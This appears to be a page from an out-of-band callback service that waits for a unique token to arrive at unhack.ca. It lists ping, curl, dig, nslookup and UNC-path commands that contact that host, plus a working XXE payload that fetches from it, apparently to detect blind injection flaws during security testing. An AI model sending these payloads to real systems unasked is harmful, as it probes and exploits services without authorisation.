$ ping -c1 -p 00ed906d35ea5d3e3d5b6a254b2b4300 unhack.ca
 
$ curl http://unhack.ca/p/ed906d35ea5d3e3d5b6a254b2b43
 
$ dig ed906d35ea5d3e3d5b6a254b2b43 @unhack.ca
 
$ dig ed906d35ea5d3e3d5b6a254b2b43.ns.unhack.ca
 
C:\> nslookup ed906d35ea5d3e3d5b6a254b2b43 unhack.ca
 
C:\> type \\unhack.ca\ed906d35ea5d3e3d5b6a254b2b43\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ed906d35ea5d3e3d5b6a254b2b43">]>
    <foo>&xxe;</foo>
 
Waiting for ping...